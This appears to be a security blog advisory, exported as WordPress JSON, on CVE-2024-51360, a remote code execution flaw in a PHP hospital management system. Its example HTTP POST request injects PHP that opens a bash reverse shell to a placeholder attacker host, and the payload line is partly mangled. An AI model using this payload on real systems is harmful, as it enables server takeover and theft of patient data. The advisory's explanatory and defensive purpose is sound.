{"id":46373,"date":"2025-05-30T17:30:00","date_gmt":"2025-05-30T17:30:00","guid":{"rendered":""},"modified":"2025-06-26T11:19:29","modified_gmt":"2025-06-26T17:19:29","slug":"cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/","title":{"rendered":"CVE-2024-51360: Remote Code Execution Vulnerability in Hospital Management System In PHP V4.0<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

A critical vulnerability has been identified in the Hospital Management System In PHP V4.0, tagged with the Common Vulnerabilities and Exposures (CVE) ID CVE-2024-51360. This vulnerability allows a remote attacker to execute arbitrary code via the hms\/doctor\/edit-profile.php file, potentially leading to full system compromise or data leakage. This flaw is especially concerning, given the sensitive nature of the data that hospital management systems<\/a> typically handle.
\nThis vulnerability affects multiple organizations worldwide, particularly those in the healthcare sector using this specific version of the PHP-based Hospital Management<\/a> System. Its severity underscores the crucial need for effective cybersecurity measures<\/a> in the healthcare sector, where the potential impact of a breach could be devastating.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2024-51360
\nSeverity: Critical (CVSS 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise and potential<\/a> data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Hospital Management System<\/a> In PHP | V4.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit works by sending a specially crafted request to the hms\/doctor\/edit-profile.php file. The Hospital Management System In PHP V4.0 does not properly sanitize user input on this page, allowing an attacker to inject and execute arbitrary PHP code<\/a>. This code execution occurs with the same privileges as the application<\/a>, which could potentially allow an attacker to gain control of the system or access sensitive data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

The following is a conceptual example of how the vulnerability<\/a> might be exploited. This example shows a HTTP POST request<\/a> with a “doctor” object containing malicious PHP code in one of its properties.<\/p>\n

POST \/hms\/doctor\/edit-profile.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ndoctor[name]=Attacker&doctor[profile]=& \/dev\/tcp\/attacker_ip\/8080 0>&1'\"); ?><\/code><\/pre>\n
In this example, the attacker injects a command<\/a> to create a reverse shell, connecting back to the attacker’s machine. This would provide the attacker with command-line access to the server<\/a> running the Hospital Management System.<\/p>\n
Mitigation<\/strong><\/p>\n
To mitigate this vulnerability, it is recommended that users apply the vendor-provided patch as soon as possible. In the absence of a patch, or until one can be applied, users should consider deploying a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview A critical vulnerability has been identified in the Hospital Management System In PHP V4.0, tagged with the Common Vulnerabilities and Exposures (CVE) ID CVE-2024-51360. This vulnerability allows a remote attacker to execute arbitrary code via the hms\/doctor\/edit-profile.php file, potentially leading to full system compromise or data leakage. This flaw is especially concerning, given the […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-46373","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t